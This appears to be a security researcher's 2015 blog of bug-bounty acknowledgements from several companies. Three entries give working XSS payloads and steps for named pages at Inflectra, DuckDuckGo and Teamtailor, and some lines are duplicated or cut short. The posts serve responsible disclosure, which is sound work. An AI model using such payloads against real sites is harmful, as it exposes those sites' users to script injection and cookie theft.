Saturday, 5 December 2015
Listed in ROCeteer Security Researcher Hall of fame
ROCeteer Team appreciated the reporting security vulnerability.
Check here -> https://roceteer.com/security
Monday, 16 November 2015
Acknowledged by ODOO
odoo Security Team acknowledged me for reporting security vulnerability.
Check here -> https://www.odoo.com/page/responsible-disclosure
Check here -> https://www.odoo.com/page/responsible-disclosure
Monday, 26 October 2015
Sunday, 4 October 2015
Inflectra Security Hall of fame
Vulnerability: Reflected Cross Site Scripting XSS
Vuln URL: http://www.inflectra.com/Support/KnowledgeBase/List.aspx
Steps:
1. Browse URL -> http://www.inflectra.com/Support/KnowledgeBase/List.aspx
2. Input following payload script to search box
"><img src=: '"><img src=a onerror=prompt(document.domain);>
Vuln URL: http://www.inflectra.com/Support/KnowledgeBase/List.aspx
Steps:
1. Browse URL -> http://www.inflectra.com/Support/KnowledgeBase/List.aspx
2. Input following payload script to search box
"><img src=: '"><img src=a onerror=prompt(document.domain);>
Inflectra Team acknowledged me for disclosing security issues to them.
Check here -> https://www.inflectra.com/company/responsible-disclosure.aspxSunday, 20 September 2015
Acknowledgement + SWAG by Duck Duck Go
Vulnerability: Reflected Cross Site Scripting XSS
Vuln function: Search box
Payload: ref:xxx:1%2F%0aX-XSS- Protection:0%0aContent-Type: text/html%0aContent-Length:39% 0a%0a%3cscript%3ealert( document.cookie)%3c/script%3e% 2F..%2F..%2F..%2F../tr
Got Acknowledgement + SWAG by Duck Duck Go for reporting security vulnerability. :)
Vuln function: Search box
Payload: ref:xxx:1%2F%0aX-XSS-
Got Acknowledgement + SWAG by Duck Duck Go for reporting security vulnerability. :)
Monday, 14 September 2015
Listed Security Hall of Fame at Teamtailor.
1) Vulnerability Name:
XSS: Cross Site Scripting Vulnerabilities
2) Vulnerability Point:
Inset video tag at User Profile edit page. ( https://www.teamtailor.com/profile/edit )
3) Payload:
"/><svg/onload=prompt("//XSS-By-Ye//")>
Hall of fame: https://resources.teamtailor.com/vulnerability
Sunday, 9 August 2015
Acknowledgement + SWAG by Segment
Segment provided Acknowledgment + SWAG for reporting security vulnerability.
unfortunately, i didn't receive swag coz of shipping error. :'(
Monday, 3 August 2015
Sunday, 2 August 2015
Acknowledgement by ESET
ESET provided acknowledgement to me for reporting security vulnerability.
Also provided this <3 swag too :)
Monday, 27 July 2015
Sunday, 28 June 2015
Acknowledgement by ZenGuard
Received acknowledgement and 3 month Free Premium VPN as reward for reporting security vulnerability.
Subscribe to:
Posts (Atom)